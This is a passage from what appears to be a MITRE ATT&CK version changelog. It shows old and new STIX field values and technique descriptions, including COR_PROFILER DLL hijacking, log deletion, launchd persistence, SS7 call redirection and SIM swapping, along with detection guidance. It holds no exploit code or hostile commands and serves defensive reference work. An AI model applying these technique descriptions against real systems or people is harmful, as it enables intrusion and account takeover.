malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 14:49:58.249000+00:00 | 2021-10-19 03:18:43.648000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:42:09.222000+00:00 | 2021-06-08 17:08:08.386000+00:00 |
| x_mitre_detection | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
Current version: 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-16 12:47:00.458000+00:00 | 2021-08-12 13:04:14.534000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 13:46:29.922000+00:00 | 2021-10-15 07:41:41.496000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-29 21:00:19.428000+00:00 | 2021-06-21 17:58:03.788000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 13:42:34.402000+00:00 | 2021-10-13 14:05:14.784000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-29 19:56:42.242000+00:00 | 2021-06-09 18:53:58.159000+00:00 |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 21:32:54.610000+00:00 | 2021-10-16 20:11:14.193000+00:00 |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 18:52:12.956000+00:00 | 2021-06-09 18:53:58.471000+00:00 |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
Current version: 2.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 18:25:16.409000+00:00 | 2021-07-20 21:51:45.776000+00:00 |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may enumerate files and directories or may searc | t | 1 | Adversaries may enumerate files and directories or may searc |
| > | h in specific locations of a host or network share for certa | > | h in specific locations of a host or network share for certa | ||
| > | in information within a file system. Adversaries may use the | > | in information within a file system. Adversaries may use the | ||
| > | information from [File and Directory Discovery](https://att | > | information from [File and Directory Discovery](https://att | ||
| > | ack.mitre.org/techniques/T1083) during automated discovery t | > | ack.mitre.org/techniques/T1083) during automated discovery t | ||
| > | o shape follow-on behaviors, including whether or not the ad | > | o shape follow-on behaviors, including whether or not the ad | ||
| > | versary fully infects the target and/or attempts specific ac | > | versary fully infects the target and/or attempts specific ac | ||
| > | tions. Many command shell utilities can be used to obtain t | > | tions. Many command shell utilities can be used to obtain t | ||
| > | his information. Examples include <code>dir</code>, <code>tr | > | his information. Examples include <code>dir</code>, <code>tr | ||
| > | ee</code>, <code>ls</code>, <code>find</code>, and <code>loc | > | ee</code>, <code>ls</code>, <code>find</code>, and <code>loc | ||
| > | ate</code>. (Citation: Windows Commands JPCERT) Custom tools | > | ate</code>.(Citation: Windows Commands JPCERT) Custom tools | ||
| > | may also be used to gather file and directory information a | > | may also be used to gather file and directory information an | ||
| > | nd interact with the [Native API](https://attack.mitre.org/t | > | d interact with the [Native API](https://attack.mitre.org/te | ||
| > | echniques/T1106). | > | chniques/T1106). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:02:16.770000+00:00 | 2021-08-23 20:44:32.048000+00:00 |
| description | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). |
| external_references[3]['url'] | http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html |
Current version: 2.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-01 20:05:05.562000+00:00 | 2021-09-13 21:08:10.406000+00:00 |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 19:55:20.290000+00:00 | 2021-10-14 23:52:52.536000+00:00 |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete or alter generated artifacts on a hos | t | 1 | Adversaries may delete or alter generated artifacts on a hos |
| > | t system, including logs or captured files such as quarantin | > | t system, including logs or captured files such as quarantin | ||
| > | ed malware. Locations and format of logs are platform or pro | > | ed malware. Locations and format of logs are platform or pro | ||
| > | duct-specific, however standard operating system logs are ca | > | duct-specific, however standard operating system logs are ca | ||
| > | ptured as Windows events or Linux/macOS files such as [Bash | > | ptured as Windows events or Linux/macOS files such as [Bash | ||
| > | History](https://attack.mitre.org/techniques/T1552/003) and | > | History](https://attack.mitre.org/techniques/T1552/003) and | ||
| > | /var/log/*. These actions may interfere with event collecti | > | /var/log/*. These actions may interfere with event collecti | ||
| > | on, reporting, or other notifications used to detect intrusi | > | on, reporting, or other notifications used to detect intrusi | ||
| > | on activity. This that may compromise the integrity of secur | > | on activity. This may compromise the integrity of security s | ||
| > | ity solutions by causing notable events to go unreported. Th | > | olutions by causing notable events to go unreported. This ac | ||
| > | is activity may also impede forensic analysis and incident r | > | tivity may also impede forensic analysis and incident respon | ||
| > | esponse, due to lack of sufficient data to determine what oc | > | se, due to lack of sufficient data to determine what occurre | ||
| > | curred. | > | d. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:35:09.065000+00:00 | 2021-07-27 15:23:52.099000+00:00 |
| description | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 01:31:35.760000+00:00 | 2021-08-24 18:21:08.497000+00:00 |
Current version: 1.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 13:24:45.840000+00:00 | 2021-10-18 13:24:52.973000+00:00 |
| x_mitre_contributors[1] | Nick Carr, FireEye | Nick Carr, Mandiant |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 20:08:31.712000+00:00 | 2021-10-17 14:48:33.990000+00:00 |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-14 18:40:45.170000+00:00 | 2021-06-07 19:57:26.824000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Ziv Kaspersky, Cymptom |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-15 21:04:33.228000+00:00 | 2021-08-31 19:55:02.702000+00:00 |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-15 21:42:11.839000+00:00 | 2021-08-31 19:56:31.341000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 19:15:22.416000+00:00 | 2021-06-21 17:58:03.269000+00:00 |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 20:12:34.422000+00:00 | 2021-10-17 14:48:33.580000+00:00 |
Current version: 3.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 17:54:28.531000+00:00 | 2021-08-30 19:16:11.648000+00:00 |
| x_mitre_contributors[0] | Brian Prange | Jon Sheedy |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:03:15.180000+00:00 | 2021-07-26 22:49:23.094000+00:00 |
Current version: 2.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 16:31:11.405000+00:00 | 2021-10-15 14:36:26.445000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:41:00.821000+00:00 | 2021-06-08 17:10:31.187000+00:00 |
| x_mitre_detection | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. |
Current version: 2.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-20 18:12:12.134000+00:00 | 2021-10-16 00:13:19.412000+00:00 |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:39:47.559000+00:00 | 2021-09-01 00:57:01.576000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 19:25:49.977000+00:00 | 2021-10-15 22:00:56.438000+00:00 |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:59:59.124000+00:00 | 2021-10-18 17:05:44.321000+00:00 |
| x_mitre_contributors[1] | Christoffer Strömblad | Christoffer Strömblad |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-05 22:25:49.118000+00:00 | 2021-10-15 23:57:08.312000+00:00 |
Current version: 1.0
Description: This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:41:14.739000+00:00 | 2021-10-07 21:38:03.610000+00:00 |
| description | Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in. | This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in. |
Current version: 1.0
Description: Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication. Several permissions may be used to programmatically control phone calls, including: * `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions) * `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions) * `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions) * `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions) * `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions) * `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions) When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.
Current version: 1.0
Description: Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.
Current version: 1.0
Description: Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. While there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary could exploit signaling system vulnerabilities | t | 1 | An adversary could exploit signaling system vulnerabilities |
| > | to redirect calls or text messages (SMS) to a phone number u | > | to redirect calls or text messages (SMS) to a phone number u | ||
| > | nder the attacker's control. The adversary could then act as | > | nder the attacker's control. The adversary could then act as | ||
| > | a man-in-the-middle to intercept or manipulate the communic | > | an adversary-in-the-middle to intercept or manipulate the c | ||
| > | ation. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Cit | > | ommunication. (Citation: Engel-SS7) (Citation: Engel-SS7-200 | ||
| > | ation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CS | > | 8) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citat | ||
| > | RIC5-WG10-FinalReport) Interception of SMS messages could en | > | ion: CSRIC5-WG10-FinalReport) Interception of SMS messages c | ||
| > | able adversaries to obtain authentication codes used for mul | > | ould enable adversaries to obtain authentication codes used | ||
| > | ti-factor authentication(Citation: TheRegister-SS7). | > | for multi-factor authentication(Citation: TheRegister-SS7). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 16:28:52.821000+00:00 | 2021-07-28 18:43:50.490000+00:00 |
| description | An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7). | An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7). |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | If network traffic between the mobile device and a remote se | t | 1 | If network traffic between the mobile device and a remote se |
| > | rver is not securely protected, then an attacker positioned | > | rver is not securely protected, then an attacker positioned | ||
| > | on the network may be able to manipulate network communicati | > | on the network may be able to manipulate network communicati | ||
| > | on without being detected. For example, FireEye researchers | > | on without being detected. For example, FireEye researchers | ||
| > | found in 2014 that 68% of the top 1,000 free applications in | > | found in 2014 that 68% of the top 1,000 free applications in | ||
| > | the Google Play Store had at least one Transport Layer Secu | > | the Google Play Store had at least one Transport Layer Secu | ||
| > | rity (TLS) implementation vulnerability potentially opening | > | rity (TLS) implementation vulnerability potentially opening | ||
| > | the applications' network traffic to man-in-the-middle attac | > | the applications' network traffic to adversary-in-the-middle | ||
| > | ks (Citation: FireEye-SSL). | > | attacks (Citation: FireEye-SSL). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-07-28 18:45:08.382000+00:00 |
| description | If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL). | If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary could convince the mobile network operator (e.g | t | 1 | An adversary could convince the mobile network operator (e.g |
| > | . through social networking, forged identification, or insid | > | . through social networking, forged identification, or insid | ||
| > | er attacks performed by trusted employees) to issue a new SI | > | er attacks performed by trusted employees) to issue a new SI | ||
| > | M card and associate it with an existing phone number and ac | > | M card and associate it with an existing phone number and ac | ||
| > | count (Citation: NYGov-Simswap) (Citation: Motherboard-Simsw | > | count.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswa | ||
| > | ap2). The adversary could then obtain SMS messages or hijack | > | p2) The adversary could then obtain SMS messages or hijack p | ||
| > | phone calls intended for someone else (Citation: Betanews-S | > | hone calls intended for someone else.(Citation: Betanews-Sim | ||
| > | imswap). One use case is intercepting authentication messa | > | swap) One use case is intercepting authentication messages | ||
| > | ges or phone calls to obtain illicit access to online bankin | > | or phone calls to obtain illicit access to online banking or | ||
| > | g or other online accounts, as many online services allow ac | > | other online accounts, as many online services allow accoun | ||
| > | count password resets by sending an authentication code over | > | t password resets by sending an authentication code over SMS | ||
| > | SMS to a phone number associated with the account (Citation | > | to a phone number associated with the account.(Citation: Gu | ||
| > | : Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citatio | > | ardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Kr | ||
| > | n: Krebs-SimSwap)(Citation: TechCrunch-SimSwap). | > | ebs-SimSwap)(Citation: TechCrunch-SimSwap) | ||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Karim Hasanen, @_karimhasanen'] | |
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 14:13:24.168000+00:00 | 2021-09-30 18:45:26.323000+00:00 |
| description | An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap). | An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap) One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 0.0
Description: Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required. Adversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices. Transient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808)
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 12:02:26.506000+00:00 | 2021-10-08 15:14:01.612000+00:00 |
| x_mitre_data_sources[0] | Application logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Alarm thresholds | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Device Configuration/Parameters |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Script: Script Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 13:04:01.612000+00:00 |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Flow |
